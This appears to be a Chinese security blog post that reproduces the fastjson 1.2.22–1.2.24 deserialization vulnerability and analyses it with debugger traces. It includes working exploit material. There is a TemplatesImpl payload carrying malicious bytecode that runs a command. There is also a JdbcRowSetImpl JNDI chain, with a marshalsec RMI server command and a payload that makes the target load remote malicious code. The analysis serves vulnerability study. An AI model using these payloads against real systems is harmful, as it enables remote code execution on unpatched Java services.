fastjson反序列化漏洞各版本漏洞复现以及原理分析

前言:

如何判断后端是否采用了fastjson框架:

一方面是通过json解析异常抛出,另一方面可以通过DNSLOG判断:

poc:

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

 

0x00 环境快速搭建

maven仓库https://mvnrepository.com/artifact/com.alibaba/fastjson,每个版本都有

直接导入对应漏洞版本即可

0x01 1.2.22~1.2.24

参考廖师傅的文章,写的比较好,点这里,传送门

利用链:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

POC.test

package com.test.fast;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class POC extends AbstractTranslet {
    public POC() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public static void main(String[] args) throws Exception {
        new POC();
    }
}

验证:

package com.test.fast;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

public class test {
    public test() {
    }

    public static void main(String[] args) {
        try {
            test_autoTypeDeny();
        } catch (Exception var2) {
            var2.printStackTrace();
        }

    }

    public static String readClass(String cls) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException var3) {
            var3.printStackTrace();
        }

        return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        String fileSeparator = System.getProperty("file.separator");
        String evilClassPath = System.getProperty("user.dir") + "/target/classes/com/test/fast/POC.class";
        String evilCode = readClass(evilClassPath);
        System.out.println(evilCode);
        String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);
        JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }
}

执行命令:

debug TemplatesImpl调用链触发触发过程

在TemplatesImpl类打断点,断点位置,defineTransletClasses

或者直接打断点在漏洞调用栈最后一步这里也可以:  AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

分析整个fastjson 漏洞触发过程:

parseObject传入POC中自己定义的json字符串,class,features等

下一步:

跟进parseObject方法,将DefaultJSONParser当前整个类参入deserialze方法

下一步:

 

parseObject:

又传递到deserialze

 看一下里面调用了parseField开始解析json格式:

看一下这里的细节:

下一步:parseField

下一步,比较关键的一步,这一步是set操作,也就是将json和对象类型匹配起来,进行赋值:

具体实现:

还是这个方法,走到else if 分支:

此时,通过method.invoke调用我们指定的POC要反序列化的类的指定的方法

 跳过接下来的几步,打到getOutputProperties

调用new 了TransformerImpl并传入getTransletInstance方法,

执行到了getTransletInstance方法,_class为空,所以执行了defineTransletClasses方法

进入defineTransletClasses,执行到414行

加载之后,我们跳出方法方法区,紧接着在455行通过newInstance方法初始化了恶意类 ,初始了执行恶意代码,达到命令执行效果:

 

debug的部分可能不太清晰:

注意:这里的类加载器为TemplatesImpl自定义的类加载器

POC链路总结大致流程: 

TemplatesImpl.getOutputProperties()
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
      TemplatesImpl.defineTransletClasses()
        ClassLoader.defineClass()
        Class.newInstance()

一点点限制:

     https://www.dazhuanlan.com/2019/12/23/5e006d929b014/

 

利用链: com.sun.rowset.JdbcRowSetImpl  注意:RMI和LADP均有JDK版本限制

实验本地JDK版本:

java version "1.8.0_31"
Java(TM) SE Runtime Environment (build 1.8.0_31-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.31-b07, mixed mode

不成功的环境版本,比如:

java version "1.8.0_201"
Java(TM) SE Runtime Environment (build 1.8.0_201-b09)
Java HotSpot(TM) 64-Bit Server VM (build 25.201-b09, mixed mode)

起RMI服务: 

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsejndi.RMIRefServer http://192.168.0.101:8000/#Exp

 编译恶意类:

 起web服务

 漏洞触代码:

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.0.101:1099/Exp\",\"autoCommit\":true}";
System.out.println (payload);
JSON.parse(payload);

debug

进入:DefaultJSONParser,调用构造方法初始化lexer,input,config,symbolTable

^

………………

此处省略,因为与上个调用链类似

进入关键部分:

反射调用setAutoCommit方法

此时coon为null,进入了connect,看一下connect方法具体实现,this.getDataSourceName() != null为true,执行

此时dataSource为我们传入的恶意地址

看一下lookup实现,层层调用了三次lookup

直接跳到:getObjectFactoryFromReference,方法里面使用了类加载器加载了远程拉回来的恶意类,并实例化

限制:

1 服务端JDK版本限制:

参考:https://blog.csdn.net/he_and/article/details/105532066

2 服务端解析用法限制:

https://www.dazhuanlan.com/2019/12/23/5e006d929b014/

参考文章:

https://www.dazhuanlan.com/2019/12/23/5e006d929b014/

https://blog.csdn.net/he_and/article/details/105532066

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值